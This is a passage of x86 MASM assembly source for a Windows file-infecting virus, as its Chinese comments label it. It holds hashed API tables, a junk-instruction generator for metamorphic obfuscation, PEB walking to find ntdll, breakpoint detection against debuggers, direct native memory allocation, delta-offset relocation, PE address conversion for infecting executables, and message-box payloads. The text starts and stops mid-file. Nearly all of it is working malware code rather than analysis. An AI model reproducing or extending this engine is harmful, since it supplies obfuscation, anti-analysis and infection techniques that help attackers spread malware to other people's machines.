;FindNextVolumeMountPointA SAFE_APIS_STRUCT <01f5bafc4h,1,0> ;UTUnRegister SAFE_APIS_STRUCT <0464ddf86h,3,0> ;FreeUserPhysicalPages SAFE_APIS_STRUCT <062bcae11h,0,0> ;TermsrvAppInstallMode ke_end: ;---------------------------------------------------------------------------------------------------------- ;user32 中的safe api user_start: user_safe_api SAFE_APIS_STRUCT <0ca0bd160h,2,0> ;ActivateKeyboardLayout SAFE_APIS_STRUCT <035ab921fh,3,0> ;AttachThreadInput SAFE_APIS_STRUCT <06b4d0738h,2,0> ;VkKeyScanExA SAFE_APIS_STRUCT <05ceaa147h,5,0> ;DrawMenuBarTemp SAFE_APIS_STRUCT <030167850h,1,0> ;GetCaretPos SAFE_APIS_STRUCT <0b2be06fch,3,0> ;UserClientDllInitialize SAFE_APIS_STRUCT <0f4931a5bh,1,0> ;WindowFromDC SAFE_APIS_STRUCT <0d21702f5h,2,0> ;WindowFromPoint SAFE_APIS_STRUCT <0911a011dh,5,0> ;mouse_event SAFE_APIS_STRUCT <0aeb3683ch,2,0> ;TileChildWindows user_end: ;---------------------------------------------------------------------------------------------------------- ;ws2_32 中的safe api ws2_start: ws2_safe_api SAFE_APIS_STRUCT <0014b31e3h,0,0>;WSACancelBlockingCall SAFE_APIS_STRUCT <08e3398bch,0,0>;WSACleanup SAFE_APIS_STRUCT <0ba396d6bh,5,0>;WSCInstallNameSpace ws2_end: ;---------------------------------------------------------------------------------------------------------- ;gdi32.dll 中的safe api gdi_start: gdi_safe_api SAFE_APIS_STRUCT <0439c1babh,1,0>;AbortDoc SAFE_APIS_STRUCT <0004a89c8h,1,0>;AbortPath SAFE_APIS_STRUCT <0508b42aeh,6,0>;gdiPlaySpoolStream SAFE_APIS_STRUCT <033be3840h,9,0>;Chord SAFE_APIS_STRUCT <04927149fh,5,0>;CreateBitmap SAFE_APIS_STRUCT <04c43950dh,4,0>;CreatePolyPolygonRgn SAFE_APIS_STRUCT <061b95bb7h,3,0>;GetLogColorSpaceA SAFE_APIS_STRUCT <063a13a67h,1,0>;GetPixelFormat SAFE_APIS_STRUCT <06aa5bfech,4,0>;GetSystemPaletteEntries SAFE_APIS_STRUCT <0f2459028h,3,0>;GetTransform gdi_end: ;---------------------------------------------------------------------------------------------------------- ;------------------------------------病毒的变量------------------------------------------------------------ ;病毒所需要的全局数据定义 vir_vars GEN_VIR_STRUCT <0> ;t_string db "SetCurrentDirectoryW",0 vEnd : END START ;-------------------------------------------------------------------------------------------------------- ;|optable.inc | ;-------------------------------------------------------------------------------------------------------- ;Flag tables for normal and extended Intel opcodes ;(c) sars [HI-TECH] 2003 ;sars@ukrtop.com ; ;Version: ;01-test version ;02-added: TableEXT ;03-added: new flags ;04-added: support for MMX, SSE, SSE2, 3DNOW ; ;Description: ;Size of table element is 4 bits. ;0h-one byte instruction ;1h-ModRM byte ;2h-imm8,rel8 etc ;4h-ptr16 etc ;8h-imm16/32,rel16/32 etc ;0Fh-prefix ;0Eh-unsupported opcodes ;3DNOW-Supported ;SSE-Supported ;SSE2-Supported ;MMX-Supported ;================NORMAL OPCODES================ c_Table: ; 01 23 45 67 89 AB CD EF db 011h,011h,028h,000h,011h,011h,028h,000h;0Fh db 011h,011h,028h,000h,011h,011h,028h,000h;1Fh db 011h,011h,028h,0F0h,011h,011h,028h,0F0h;2Fh db 011h,011h,028h,0F0h,011h,011h,028h,0F0h;3Fh db 000h,000h,000h,000h,000h,000h,000h,000h;4Fh db 000h,000h,000h,000h,000h,000h,000h,000h;5Fh db 000h,011h,0FFh,0FFh,089h,023h,000h,000h;6Fh db 022h,022h,022h,022h,022h,022h,022h,022h;7Fh db 039h,033h,011h,011h,011h,011h,011h,011h;8Fh db 000h,000h,000h,000h,000h,0C0h,000h,000h;9Fh db 088h,088h,000h,000h,028h,000h,000h,000h;AFh db 022h,022h,022h,022h,088h,088h,088h,088h;BFh db 033h,040h,011h,039h,060h,040h,002h,000h;CFh db 011h,011h,022h,000h,011h,011h,011h,011h;DFh db 022h,022h,022h,022h,088h,0C2h,000h,000h;EFh db 0F0h,0FFh,000h,011h,000h,000h,000h,011h;FFh ;============================================== Lentable equ $-c_Table ;===============EXTENDED OPCODES=============== c_TableEXT: ; 01 23 45 67 89 AB CD EF db 011h,011h,0E0h,000h,000h,0EEh,0E1h,003h;0Fh db 011h,011h,011h,011h,01Eh,0EEh,0EEh,0EEh;1Fh db 011h,011h,01Eh,01Eh,011h,011h,011h,011h;2Fh db 000h,000h,000h,0EEh,0EEh,0EEh,0EEh,0EEh;3Fh db 011h,011h,011h,011h,011h,011h,011h,011h;4Fh db 011h,011h,011h,011h,011h,011h,011h,011h;5Fh db 011h,011h,011h,011h,011h,011h,011h,011h;6Fh db 033h,033h,011h,010h,011h,011h,011h,011h;7Fh db 088h,088h,088h,088h,088h,088h,088h,088h;8Fh db 011h,011h,011h,011h,011h,011h,011h,011h;9Fh db 000h,001h,031h,011h,000h,001h,031h,011h;AFh db 011h,011h,011h,011h,0EEh,031h,011h,011h;BFh db 011h,031h,033h,031h,000h,000h,000h,000h;CFh db 0E1h,011h,011h,011h,011h,011h,011h,011h;DFh db 011h,011h,011h,011h,011h,011h,011h,011h;EFh db 0E1h,011h,011h,011h,011h,011h,011h,01Eh;FFh ;============================================== ;-------------------------------------------------------------------------------------------------------- ;|mig.inc | ;-------------------------------------------------------------------------------------------------------- ;___in edx --> 寄存器索引 ;___in ebx --> 指令所需要的参数值 ;___in ecx --> 指令的类型(0[通用型无要求指令],1[call],2[jump] ,3[push_pop] 4[字节无效指令],5[2字节无效指令] ; 6[3字节无效指令] 7[6字节无效指令]) ;___in edi --> 要写入的位置 ;___out edi --> 写入后的位置 mig proc ;产生一个专门的call address ;仅测试时用 ;mov ecx,2 cmp ecx,0 jz _0 cmp ecx,1 jz _1 cmp ecx,2 jz _2 cmp ecx,3 jz _3 cmp ecx,4 jz _b1 cmp ecx,5 jz _b2 cmp ecx,6 jz _b3 cmp ecx,7 jz _b4 _0: call gen_ins_comm ret _1: call gen_ins_call ret _2: call gen_ins_jump ret _3: call gen_ins_push_pop ret _b1: call gen_ins_1_byte ret _b2: call gen_ins_2_byte ret _b3: call gen_ins_3_byte ret _b4: call gen_ins_6_byte ret mig endp ;产生1byte 无效指令 gen_ins_1_byte proc push ebx mov eax,4 call rand call one_byte one_byte: pop ebx add ebx,offset g_ - offset one_byte mov al,byte ptr[ebx + eax * 1] stosb pop ebx ret g_: ;db 09fh;lahf ;db 09eh;sahf ;db 098h;cwde db 0f8h;clc db 0f9h;stc db 0f5h;cmc db 090h;nop gen_ins_1_byte endp ;产生2byte 无效指令 gen_ins_2_byte proc push ebx mov eax,7 call rand call two_byte two_byte: pop ebx add ebx,offset g_ - offset two_byte mov ax,word ptr[ebx + eax * 2] stosw pop ebx ret g_: db 0d8h,0d0h ;fadd db 087h,0f6h ;xchg esi,esi db 08bh,0c9h ;mov ecx,ecx ;db 08bh,0c9h ;fcom db 087h,0d2h ;xchg edx,edx db 0d9h,0e1h ;fabs db 08bh,0c0h ;mov eax,eax db 087h,0dbh ;xchg ebx,ebx gen_ins_2_byte endp ;产生3byte 无效指令 gen_ins_3_byte proc push ebx mov eax,6 call rand call three_byte three_byte: pop ebx add ebx,offset g_ - offset three_byte push esi push ecx mov ecx,3 mul ecx lea esi,dword ptr [ebx + eax] cld rep movsb pop ecx pop esi pop ebx ret g_: db 83h,0cbh,0 ;or ebx,0 db 83h,0c0h,0 ;add eax,0 db 83h,0e8h,0 ;sub eax,0 db 83h,0c8h,0 ;or eax,0 db 83h,0e0h,0ffh;and eax,-1 db 83h,0ebh,0 ;sub ebx,0 gen_ins_3_byte endp ;产生6byte无效指令 gen_ins_6_byte proc push ebx mov eax,6 call rand call six_byte six_byte: pop ebx add ebx,offset g_ - offset six_byte push esi push ecx mov ecx,6 mul ecx lea esi,dword ptr [ebx + eax] cld rep movsb pop ecx pop esi pop ebx ret g_: db 81h,0CAh,0,0,0,0 ;or edx, 0 db 81h,0C0h,0,0,0,0 ;add eax , 0 db 81h,0C8h,0,0,0,0 ;or eax , 0 db 81h,0E0h,-1,-1,-1,-1 ;and eax , -1 db 81h,0E8h,0,0,0,0 ;sub eax , 0 db 81h,0F0h,0,0,0,0 ;xor eax , 0 gen_ins_6_byte endp ;产生一个jump 指令 gen_ins_jump proc ;保留当前要写入偏移的地方 push ebx mov ebx,edi mov byte ptr[edi],0e9h add edi,4 ;随机产生一些指令 mov eax,3 call rand inc eax mov ecx,eax @@: call gen_ins_comm dec ecx cmp ecx,0 jnz @b push edi sub edi,ebx sub edi,5 inc ebx mov dword ptr[ebx],edi pop edi pop ebx ret gen_ins_jump endp ;产生一个call gen_ins_call proc ;保留当前要写入偏移的地方 push ebx mov ebx,edi mov byte ptr[edi],0e8h add edi,4 ;随机产生一些1~3指令 mov eax,3 call rand inc eax mov ecx,eax @@: call gen_ins_comm dec ecx cmp ecx,0 jnz @b push edi sub edi,ebx sub edi,5 inc ebx mov dword ptr[ebx],edi pop edi pop ebx ;在call 向的位置写入0~3随机指令 mov eax,3 call rand inc eax mov ecx,eax @@: call gen_ins_comm dec ecx cmp ecx,0 jnz @b ;写入pop mov eax,8 call rand add eax,8 cmp eax,0ch jz @f cmp eax,0dh jz @f jmp s_pop @@: add eax,2 s_pop: or eax,50h mov byte ptr[edi],al inc edi ret gen_ins_call endp ;产生push pop 指令 gen_ins_push_pop proc mov eax,4 call rand cmp eax,0 jz _comm_push cmp eax,1 jz _ds_push cmp eax,2 jz _fs_push mov byte ptr[edi],06h ; push es inc edi jmp @f _fs_push: mov word ptr[edi],0a00fh ; push fs inc edi inc edi jmp @f _ds_push: mov byte ptr[edi],1eh ; push ds inc edi jmp @f _comm_push: mov eax,8 call rand or eax,50h mov byte ptr[edi],al inc edi @@: mov eax,8 call rand or eax,58h cmp eax,5ch jz @f cmp eax,5dh jz @f jmp _s_p_p @@: add eax,2 _s_p_p: mov byte ptr[edi],al ;pop rx inc edi ret gen_ins_push_pop endp ;产生一个通用指令 gen_ins_comm proc mov eax,12 call rand cmp eax,0 jz _add_r8_r8 cmp eax,1 jz _inc_dec cmp eax,2 jz _or_rx_rx cmp eax,3 jz _and_rx_rx cmp eax,4 jz _sub_rx_rx cmp eax,5 jz _xor_rx_rx cmp eax,6 jz _cmp_rx_rx cmp eax,7 jz _mov_rx_rx cmp eax,8 jz _test_rx_rx cmp eax,9 jz _xchg_rx_rx cmp eax,10 jz _ror_rx_imm8 cmp eax,11 jz _not_mul_rx ;--------add r/m8 ----------------------------- _add_r8_r8: mov byte ptr[edi],0 inc edi mov eax,10h call rand or eax,000c0h ; 产生一个add rx,rx mov byte ptr[edi],al inc edi ret ;--------or Rx,Rx | or eax,imm --------------------- _or_rx_rx: mov eax,3 call rand cmp eax,0 jz or_1 cmp eax,1 jz or_2 mov byte ptr[edi],0dh ; ---> or eax,imm inc edi mov eax,0fffffffeh call rand mov dword ptr[edi],eax add edi,4 ret or_1: ;----> or Rx,Rx mov byte ptr[edi],0bh; inc edi mov eax,8 call rand or eax,0c0h mov byte ptr[edi],al inc edi ret or_2: ;-----> or Rx(eax除外),imm mov eax,8 call rand add eax,8 cmp eax,0ch jz @f cmp eax,0dh jz @f jmp f_1 @@: add eax,2 f_1: sal eax,8 or eax,0c081h mov word ptr[edi],ax inc edi inc edi mov eax,0fffffffeh call rand mov dword ptr[edi],eax add edi,4 ret ;--------and Rx,Rx | and eax,imm --------------------- _and_rx_rx: mov eax,3 call rand cmp eax,0 jz _and_1 cmp eax,1 jz _and_2 mov eax,7 call rand inc eax cmp eax,4 jz @f cmp eax,5 jz @f jmp _s_and @@: add eax,2 _s_and: sal eax,8 or eax,0e081h mov word ptr[edi],ax inc edi inc edi mov eax,0fffffffeh call rand mov dword ptr[edi],eax add edi,4 ret _and_1: ; --> and r8,r8 mov byte ptr[edi],20h inc edi mov eax,10 call rand or eax,0c0h mov byte ptr[edi],al inc edi ret _and_2: ; --> and r32,r32 mov byte ptr[edi],21h inc edi mov eax,10h call rand cmp eax,4 jz @f cmp eax,5 jz @f jmp _s_and2 @@: add eax,2 _s_and2: or eax,0c0h cmp eax,0cch jz @f cmp eax,0cdh jz @f jmp _f2 @@: add eax,2 _f2: mov byte ptr[edi],al inc edi ret ;--------sub Rx,Rx | and eax,imm --------------------- _sub_rx_rx: mov eax,3 call rand cmp eax,0 jz _sub_1 cmp eax,1 jz _sub_2 mov eax,8h call rand add eax,8 cmp eax,0dh ;不能使用ebp ,esp 寄存器 jz @f cmp eax,0ch jz @f jmp _s @@: add eax,2 _s: sal eax,8 or eax,0e081h mov word ptr[edi],ax inc edi inc edi mov eax,0fffffffeh call rand mov dword ptr[edi],eax add edi,4 ret _sub_1: ;sub r32 ,r32 mov eax,10h call rand cmp eax,4 ;不能使用ebp,esp寄存器 jz @f cmp eax,5 jz @f jmp _ss @@: add eax,2 _ss: or eax,0c0h mov byte ptr[edi],2bh inc edi mov byte ptr[edi],al inc edi ret _sub_2: mov byte ptr[edi],2dh inc edi mov eax,0fffffffeh call rand mov dword ptr[edi],eax add edi,4 ret ;--------xor Rx,Rx | xor eax,imm --------------------- _xor_rx_rx: mov eax,3 call rand cmp eax,0 jz _xor_1 cmp eax,1 jz _xor_2 mov eax,7 call rand inc eax cmp eax,4 jz @f cmp eax,5 jz @f jmp _s_xor @@: add eax,2 _s_xor: sal eax,8 or eax,0f081h mov word ptr[edi],ax inc edi inc edi mov eax,0fffffffeh call rand mov dword ptr[edi],eax add edi,4 ret _xor_1: mov byte ptr[edi],31h inc edi mov eax,10h call rand cmp eax,4 jz @f cmp eax,5 jz @f cmp eax,0ch jz @f cmp eax,0dh jz @f jmp _s_xor_1 @@: add eax,2 _s_xor_1: or eax,0f0h mov byte ptr[edi],al inc edi ret _xor_2: mov byte ptr[edi],35h inc edi mov eax,0fffffffeh call rand mov dword ptr[edi],eax add edi,4 ret ;--------xor Rx,Rx | xor eax,imm --------------------- _cmp_rx_rx: cmp eax,3 call rand cmp eax,0 jz _cmp_1 cmp eax,1 jz _cmp_2 mov eax,7 call rand add eax,9 sal eax,8 or eax,0f081h mov word ptr[edi],ax inc edi inc edi mov eax,0fffffffeh call rand mov dword ptr[edi],eax add edi,4 ret _cmp_1: mov byte ptr[edi],3dh inc edi mov eax,0fffffffeh call rand mov dword ptr[edi],eax add edi,4 ret _cmp_2: mov byte ptr[edi],38h inc edi mov eax,10h call rand or eax,0c0h mov byte ptr[edi],al inc edi ret ;--------mov Rx,Rx | xor Rx,imm --------------------- _mov_rx_rx: mov eax,2 call rand cmp eax,0 jz _mov_1 mov byte ptr[edi],66h inc edi mov byte ptr[edi],8bh inc edi mov eax,8 call rand or eax,0c0h mov byte ptr[edi],al inc edi ret _mov_1: mov eax,8h call rand add eax,8 cmp eax,0ch jz @f cmp eax,0dh jz @f jmp s_mov @@: add eax,2 s_mov: or eax,0b0h mov byte ptr[edi],al inc edi mov eax,0fffffffeh call rand mov dword ptr[edi],eax add edi,4 ret ;--------test al,imm8 | test ax,imm32 --------------------- _test_rx_rx: mov eax,2 call rand cmp eax,0 jz _test_1 mov byte ptr[edi],0a8h inc edi mov eax,0feh call rand mov byte ptr[edi],al inc edi ret _test_1: mov byte ptr[edi],0a9h inc edi mov eax,0fffffffeh call rand mov dword ptr [edi],eax add edi,4 ret ;--------xchg rx,rx --------------------- _xchg_rx_rx: mov eax,7 call rand inc eax cmp eax,4 jz @f cmp eax,5 jz @f jmp s_xchg @@: add eax,2 s_xchg: add eax,90h mov byte ptr[edi],al inc edi ret ;--------ror rx,imm8 --------------------- _ror_rx_imm8: mov eax,3 call rand cmp eax,0 jz _ror_1 cmp eax,1 jz _rol_2 mov byte ptr[edi],0c0h inc edi mov eax,10h call rand or eax,0c0h mov byte ptr[edi],al inc edi mov eax,0feh call rand mov byte ptr[edi],al inc edi ret _ror_1: mov byte ptr[edi],0c1h inc edi mov eax,10h call rand cmp eax,4 jz @f cmp eax,5 jz @f cmp eax,0ch jz @f cmp eax,0dh jz @f jmp _s_ror @@: add eax,2 _s_ror: or eax,0c0h mov byte ptr[edi],al inc edi mov eax,0feh call rand mov byte ptr[edi],al inc edi ret _rol_2: mov byte ptr[edi],0d3h inc edi mov eax,10h call rand cmp eax,4 jz @f cmp eax,5 jz @f cmp eax,0ch jz @f cmp eax,0dh jz @f jmp _s_rol @@: add eax,2 _s_rol: or eax,0c0h mov byte ptr[edi],al inc edi ret ;--------not_mul rx --------------------- _not_mul_rx: mov byte ptr[edi],0f7h inc edi mov eax,10h call rand cmp eax,4 jz @f cmp eax,5 jz @f cmp eax,0ch jz @f cmp eax,0dh jz @f jmp _s_ @@: add eax,2 _s_: push eax mov eax,2 call rand cmp eax,0 jz _mul pop eax or eax,0d0h jmp @f _mul: pop eax or eax,0e0h @@: mov byte ptr[edi],al inc edi ret ;-------- inc rx | dec rx --------------------- _inc_dec: mov eax,10h call rand cmp eax,4 jz @f cmp eax,5 jz @f cmp eax,0ch jz @f cmp eax,0dh jz @f jmp _s_inc_dec @@: add eax,2 _s_inc_dec: or eax,40h mov byte ptr[edi],al inc edi ret gen_ins_comm endp ;-------------------------------------------------------------------------------------------------------- ;|gm_tools_api.inc | ;-------------------------------------------------------------------------------------------------------- ;--------------------------------------------------------------- ;计算crc32 ; in : esi = ptr string ; in : eax = len of string ; out : eax = crc32 ;my_crc32 proc uses esi ebx ecx edx,string:dword,len:dword ;--------------------------------------------------------------- my_crc32 proc push esi push ebx push ecx push edx mov ecx,eax xor edx,edx dec edx @0: lodsb xor dl,al push ecx push 8 pop ecx @1: shr edx,1 jnc @f xor edx,0EDB88320h @@: loop @1 pop ecx loop @0 not edx xchg edx,eax pop edx pop ecx pop ebx pop esi ret my_crc32 endp ;--------------------------------------------------------------- ;计算strlen ;in : esi = ptr string ;out : eax = len ;---------------------------------------------------------------- my_strlen proc push esi xor eax,eax strlen_loop: cmp byte ptr [esi],0 je strlen_end inc eax inc esi jmp strlen_loop strlen_end: pop esi ret my_strlen endp ;------------------------------------------------------------------ ;获得ntdll 地址 ; ;------------------------------------------------------------------- assume fs:nothing get_ntdll: xor eax,eax add eax,30h mov eax, dword ptr fs:[eax] mov eax, dword ptr [eax+0Ch] mov eax, dword ptr [eax+01Ch] mov eax, dword ptr [eax+8] ret ;---------------------------------------------------------------------------; ; simple bpx check ; ;---------------------------------------------------------------------------; ;eax = address ; return 0 - not detected ; 1 - detected VAL = 99h detect_bpx: push esi push ecx mov esi,eax mov ecx,5 detect_loop: xor eax,eax lodsb xor eax,VAL cmp eax,0cch xor VAL ; int3 je bpx_detected cmp eax,0cdh xor VAL ; int x je bpx_detected cmp eax,090h xor VAL ; nop je bpx_detected cmp eax,0e8h xor VAL ; call rel32 je bpx_detected cmp eax,0e9h xor VAL ; jmp rel32 je bpx_detected cmp eax,0fah xor VAL ; cli je bpx_detected cmp eax,0fbh xor VAL ; sti je bpx_detected loop detect_loop not_detected: xor eax,eax jmp detect_end bpx_detected: xor eax,eax inc eax detect_end: pop ecx pop esi retn ;---------------------------------------------------------------------------; ;为virus 分配一段内存空间 AllocateMemory ; ;---------------------------------------------------------------------------; ; call diretly ntdll.NtAllocateVirtualMemory ; __in : eax = alloc size ; __out : eax = ptr allocated mem AllocateMem: push ebx push ecx push edx push eax mov ebx,esp push 0 mov ecx,esp push 0E0762FEBh ; NtAllocateVirtualMemory call get_ntdll push eax call my_get_a_apis_addr test eax,eax jz @ll push eax mov edx,eax call detect_bpx test eax,eax pop eax jnz @ll push ebx push PAGE_READWRITE push MEM_COMMIT OR MEM_RESERVE push ebx push 0 push ecx push -1 call eax pop ebx test eax,eax jnz @l2 mov eax,dword ptr [ebx - 4] jmp @ll @l2: xor eax,eax @ll: add esp,8 pop edx pop ecx pop ebx retn ;---------------------------------------------------------------------------; ; 释放分配的内存空间 FreeMemory ; ;---------------------------------------------------------------------------; ; call ntdll.NtFreeVirtualMemory ; eax = ptr buffer ; ecx = alloc size FreeMem: push ebx mov ebx,eax push 0E9D6CE5Eh ; NtFreeVirtualMemory call get_ntdll push eax call my_get_a_apis_addr test eax,eax jz @f push -1 push ebx push ecx push MEM_RELEASE call eax @@: pop ebx retn ;-------------------------------------------------------------------------------------------------------- ;|gm_save_or_restore_ctx.inc | ;-------------------------------------------------------------------------------------------------------- ;保存当前寄存器环境到病毒寄存器组 ;该函数在重定位执行后,才能调用 my_save_rgs_to_ctx proc assume ebp:ptr GEN_VIR_STRUCT push eax xor eax,eax ;set eax = 0 call ebp_to_this pop eax mov [ebp].vir_t_1,ebx lea ebx,[ebp].reg_ctx mov dword ptr [ebx],eax add ebx,4 mov dword ptr[ebx],ecx add ebx,4 mov dword ptr[ebx],edx add ebx,4 ;ebx 特殊处理 mov eax,[ebp].vir_t_1 mov dword ptr[ebx],eax pop eax add ebx,4 mov dword ptr[ebx],esp add dword ptr[ebx],8 ;该特殊处是,进入该call ,及上次时的call ,已经压入了两个地址,故实际情况需要加上这个8 add ebx,4 mov dword ptr[ebx],ebp add ebx,4 mov dword ptr[ebx],esi add ebx,4 mov dword ptr[ebx],edi ;恢复ebx mov ebx,[ebp].vir_t_1 ret my_save_rgs_to_ctx endp ;恢复病毒寄存器组到当前寄存器环境 my_restore_ctx_to_rgs proc push eax xor eax,eax ;set eax = 0 call ebp_to_this pop eax mov [ebp].vir_t_1,ebx lea ebx,[ebp].reg_ctx mov eax,dword ptr[ebx] add ebx,4 mov ecx,dword ptr[ebx] add ebx,4 mov edx,dword ptr[ebx] add ebx,4 ;-------------------------------------- ;ebx最后恢复但该值仍然需要加上 add ebx,4 ;-------------------------------------- ;-------------------------------------- ;esp 不恢复 ;mov esp,dword ptr[ebx] add ebx,4 ;-------------------------------------- mov ebp,dword ptr[ebx] add ebx,4 mov esi,dword ptr[ebx] add ebx,4 mov edi,dword ptr[ebx] add ebx,4 ;最后恢复ebx sub ebx,4*4; mov ebx,dword ptr[ebx] ret my_restore_ctx_to_rgs endp ;-------------------------------------------------------------------------------------------------------- ;|gen_reloc.inc | ;-------------------------------------------------------------------------------------------------------- ;重定位 (1) ;out :eax = reloc address my_delta proc assume ebp:ptr GEN_VIR_STRUCT call _delta _delta: pop ebp sub ebp,offset _delta mov ebx,ebp ;保留该值,修正后面定位 push ebp mov eax,offset vir_vars add ebp,eax ;add ebx,START add ebx,v_code ;完成stub的检测 mov [ebp].self_begin,ebx ;sub ebx,START sub ebx,v_code add ebx,vEnd mov [ebp].self_end,ebx pop eax mov [ebp].self_reloc,eax mov ebp,eax ;首次定位ebp为指向病毒变量 mov eax,offset vir_vars add ebp,eax mov eax,1 call ebp_to_this ;设置要当前执行的DNA序列1step mov [ebp].vir_cur_exec_dna,1 call my_save_rgs_to_ctx ret my_delta endp ;__in eax == 1 - > 设置ebp到当前变量 ; eax == 0 - > 将当前变量的值给ebp ebp_to_this proc push ebx call __ebpthis __ebpthis: test eax,eax jz _r jmp _pop db 90h,90h,90h,90h _pop: pop ebx ;得到__ebpthis的加载地址 add ebx,6; 6是 test eax,eax jz _r jmp _pop 3条指令总长度 _w: ;写入当前ebp到_ebpthis处 mov [ebx],ebp pop ebx ret _r: ;读取当前变量到ebp pop ebx add ebx,6 mov ebp,[ebx] pop ebx ret ebp_to_this endp ;这里需要一定的技巧,把_ebpthis给下面的变量 ebp_to_this2 proc test eax,eax jz _r jmp _w __ebpthis: dd ? _w: ;写入当前ebp到_ebpthis处 mov eax,offset __ebpthis add eax,[ebp].self_reloc mov [eax],ebp ret _r: ;读取当前变量到ebp mov eax,offset __ebpthis mov ebp,[eax] ret ebp_to_this2 endp ;-------------------------------------------------------------------------------------------------------- ;|gm_rand.inc | ;-------------------------------------------------------------------------------------------------------- ; Entry: EAX == Max_Val. ; ; Return: EAX == Random number between 0..Max_Val-1. ; routine by T-2000 assume ebp:ptr GEN_VIR_STRUCT rand: push ecx push edx push eax rdtsc mov ecx,dword ptr [ebp].random_seed ; random seed add eax,ecx rol ecx, 1 add ecx, 666h mov dword ptr [ebp].random_seed,ecx ; random seed push 32 pop ecx CRC_Bit: shr eax, 1 jnc Loop_CRC_Bit xor eax,0EDB88320h Loop_CRC_Bit: loop CRC_Bit pop ecx xor edx,edx div ecx xchg edx,eax or eax,eax pop edx pop ecx retn init_rand_seed proc rdtsc mov dword ptr [ebp].random_seed, eax ret init_rand_seed endp ;-------------------------------------------------------------------------------------------------------- ;|gm_payload.inc | ;-------------------------------------------------------------------------------------------------------- ;弹出msgbox my_payload2 proc assume ebp:ptr GEN_VIR_STRUCT call my_restore_ctx_to_rgs cmp [ebp].vir_cur_exec_dna,5 jnz @p ;设置要当前执行的DNA序列 6 step mov [ebp].vir_cur_exec_dna,6 lea ebx ,dword ptr [ebp].mod_user32 push ebx call [ebp].aLoadLibrary lea ebx, dword ptr [ebp].s_msgbox push ebx push eax call [ebp].aGetProcAddress push 0 lea ebx,dword ptr [ebp].payload_msg lea edx,dword ptr [ebp].payload_title push edx push ebx push 0 call eax call my_save_rgs_to_ctx @p: ret my_payload2 endp my_payload proc ;msg DNA call my_restore_ctx_to_rgs push 0 lea ebx,dword ptr [ebp].paylaod_dna6 lea edx,dword ptr [ebp].payload_title push edx push ebx push 0 call [ebp].aMsg call my_save_rgs_to_ctx ret my_payload endp ;-------------------------------------------------------------------------------------------------------- ;|gm_misc.inc | ;-------------------------------------------------------------------------------------------------------- assume ebp:ptr GEN_VIR_STRUCT ;---------------------------------------------------------------------------; ; convert VA to RAW ; ;---------------------------------------------------------------------------; ; in : eax = VA ; out : eax = RAW VaToRaw: push ebx push ecx push edx mov ecx,dword ptr [ebp].ptr_opt_header sub eax,dword ptr [ecx + 28] ; sub IMAGE_BASE rvatoraw : mov ebx,dword ptr [ebp].ptr_sect_headers assume ebx:ptr IMAGE_SECTION_HEADER mov ecx,dword ptr [ebp].number_of_sect ; find the section to which RVA is pointing try_next_sect: mov edx,dword ptr [ebx].VirtualAddress cmp eax,edx jb range_error add edx,dword ptr [ebx].Misc.VirtualSize cmp eax,edx jb found_sect add ebx,sizeof IMAGE_SECTION_HEADER loop try_next_sect range_error: xor eax,eax jmp convert_finish found_sect: sub eax,dword ptr [ebx].VirtualAddress add eax,dword ptr [ebx].PointerToRawData ;add eax,dword ptr [ebp].ptrMappedImage add eax,dword ptr [ebp].infect_hMem convert_finish: pop edx pop ecx pop ebx ret ;---------------------------------------------------------------------------; ; convert RVA to RAW ; ;---------------------------------------------------------------------------; ; in : eax = RVA ; out : eax = RAW RvaToRaw: push ebx push ecx push edx jmp rvatoraw ;---------------------------------------------------------------------------; ; convert Raw to VA ; ;---------------------------------------------------------------------------; ; in : eax = RAW ; out : eax = VA RawToVa: push ebx push ecx push edx mov ebx,dword ptr [ebp].ptr_sect_headers ;sub eax,dword ptr [ebp].ptrMappedImage sub eax,dword ptr [ebp].infect_hMem _try_next_sect: mov edx,dword ptr [ebx].PointerToRawData cmp eax,edx jb _range_error add edx,dword ptr [ebx].SizeOfRawData cmp eax,edx jb _found_sect add ebx,sizeof IMAGE_SECTION_HEADER loop _try_next_sect _range_error: xor eax,eax jmp _convert_finish _found_sect: sub eax,dword ptr [ebx].PointerToRawData add eax,dword ptr [ebx].VirtualAddress mov ecx,dword ptr [ebp].ptr_opt_header ; add IMAGE_BASE add eax,dword ptr [ecx + 28] _convert_finish: pop edx pop ecx pop ebx retn ;-------------------------------------------------------------------------------------------------------- ;|gm_macro.inc | ;-------------------------------------------------------------------------------------------------------- I2 macro f,s local x1,x2 db 10h dup(90h) x1: f,s x2: db 10h-(x2-x1) dup(90h) endm I1 macro f local x1,x2 db 10h dup(90h) x1: f x2: db 10h-(x2-x1) dup(90h) endm ;-------------------------------------------------------------------------------------------------------- ;|gm_lde.inc | ;-------------------------------------------------------------------------------------------------------- my_lde_opsize proc jmp _c_Catchy include catchy32.asm my_lde_opsize endp ;-------------------------------------------------------------------------------------------------------- ;|gm_infect_or_exit.inc | ;-------------------------------------------------------------------------------------------------------- my_infect_file proc call my_open_file ret my_infect_file endp ; 退出 my_exit proc assume ebp :ptr GEN_VIR_STRUCT ;重新修正了,退出代码不做任何事情退出 ;msg DNA call my_restore_ctx_to_rgs push 0 lea ebx,dword ptr [ebp].paylaod_dna7 lea edx,dword ptr [ebp].payload_title push edx push ebx push 0 call [ebp].aMsg cmp [ebp].self_reloc,0 je @f ;如果是感染的,直接返回,而不是像原来那样返回到原入口 ret @@: push 0 call [ebp].aExitProcess ret my_exit endp ;-------------------------------------------------------------------------------------------------------- ;|gm_get_safe_apis_address.inc | ;-------------------------------------------------------------------------------------------------------- ;初始化s-a数据,主要是这些api crc32校验值,及数量值 my_init_safe_api proc assume ebp:ptr GEN_VIR_STRUCT ;kernel32 值 push eax ; ----------------- kernel32 ------------------------- mov eax,offset ke_start - offset v_code cmp [ebp].self_reloc,0 jnz @f ;add eax,dLen ;add eax,[ebp].infect_imagebase ;add eax,[ebp].infect_pe_old_eop mov eax,offset ke_start jmp _sk @@: add eax,[ebp].infect_imagebase add eax,[ebp].self_cur_rva_vir_start add eax,stub_size ;加上修正stub头的偏移 _sk: mov [ebp].ke_safe_api,eax mov [ebp].ke_safe_size,(offset ke_end - offset ke_start)/sizeof SAFE_APIS_STRUCT ; ----------------- user32 ------------------------- mov eax,offset user_start - offset v_code cmp [ebp].self_reloc,0 jnz @f ;add eax,dLen ;add eax,[ebp].infect_imagebase ;add eax,[ebp].infect_pe_old_eop mov eax,offset user_start jmp _su @@: add eax,[ebp].infect_imagebase add eax,[ebp].self_cur_rva_vir_start add eax,stub_size ;加上修正stub头的偏移 _su: mov [ebp].us_safe_api,eax mov [ebp].us_safe_size,(offset user_end - offset user_start)/sizeof SAFE_APIS_STRUCT ; 